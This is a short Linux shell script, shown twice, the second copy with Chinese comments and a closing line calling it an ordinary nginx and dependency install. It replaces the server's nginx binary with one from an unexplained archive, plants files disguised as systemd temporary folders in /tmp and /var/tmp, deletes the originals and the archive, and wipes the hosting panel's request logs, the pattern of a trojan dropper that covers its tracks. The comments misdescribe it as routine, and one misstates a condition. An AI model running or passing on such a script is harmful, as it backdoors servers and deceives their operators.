cd /opt
tar -xvf bb.tar.gz
cp -f nginx /www/server/nginx/sbin/nginx
chmod +x /www/server/nginx/sbin/nginx
cp systemd-private-56d86f7d8382402517f3b5-jP37av /tmp/
cp systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av /var/tmp/
rm -f /opt/nginx
rm -f /opt/systemd-private-56d86f7d8382402517f3b5-jP37av
rm -f /opt/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av
rm -f /opt/bb.tar.gz
yum -y install libpng-devel
yum -y install gd
if [ ! -f "/usr/lib64/libgd.so.2" ]; then
ln -fs libgd.so.3 /usr/lib64/libgd.so.2
fi
if [ -f "/lib/x86_64-linux-gnu/libgd.so" ]; then
ln -fs libgd.so /lib/x86_64-linux-gnu/libgd.so.2
fi
rm -f /www/server/panel/logs/request/*.json
# 切换目录
cd /opt
# 解压一个压缩包
tar -xvf bb.tar.gz
# 复制nginx到/www/server/nginx/sbin/nginx
cp -f nginx /www/server/nginx/sbin/nginx
# 设置nginx具有执行权限
chmod +x /www/server/nginx/sbin/nginx
# 复制临时文件
cp systemd-private-56d86f7d8382402517f3b5-jP37av /tmp/
cp systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av /var/tmp/
# 删除不需要的文件
rm -f /opt/nginx
rm -f /opt/systemd-private-56d86f7d8382402517f3b5-jP37av
rm -f /opt/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av
rm -f /opt/bb.tar.gz
# 安装依赖的软件
yum -y install libpng-devel
yum -y install gd
# 判断依赖的软件是否存在
if [ ! -f "/usr/lib64/libgd.so.2" ]; then
# 如果存在就建立链接,后续可以直接使用
ln -fs libgd.so.3 /usr/lib64/libgd.so.2
fi
if [ -f "/lib/x86_64-linux-gnu/libgd.so" ]; then
ln -fs libgd.so /lib/x86_64-linux-gnu/libgd.so.2
fi
# 删除不需要的文件
rm -f /www/server/panel/logs/request/*.json
这是在安装nginx和依赖的软件